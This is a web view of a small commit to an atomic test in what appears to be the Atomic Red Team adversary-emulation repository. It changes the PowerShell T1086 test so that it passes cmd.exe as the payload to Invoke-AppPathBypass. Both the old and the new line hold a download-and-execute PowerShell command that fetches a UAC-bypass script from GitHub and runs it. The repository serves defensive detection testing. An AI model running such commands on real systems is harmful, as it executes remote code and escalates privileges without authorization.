security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Supply Invoke-AppPathBypass with Payload as argument (#522)

Browse Source
This commit is contained in:
Makenzie Schwartz
2019-08-09 07:21:58 -07:00
committed by Michael Haag
parent 5f6ad32db2
commit fe943551bd
1 changed files with 1 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files
atomics/T1086/T1086.yaml
+1 -2
View File
@@ -78,8 +78,7 @@ atomic_tests:
executor:
name: command_prompt
command: |
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass"
C:\Windows\System32\cmd.exe
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
- name: PowerShell Add User
description: |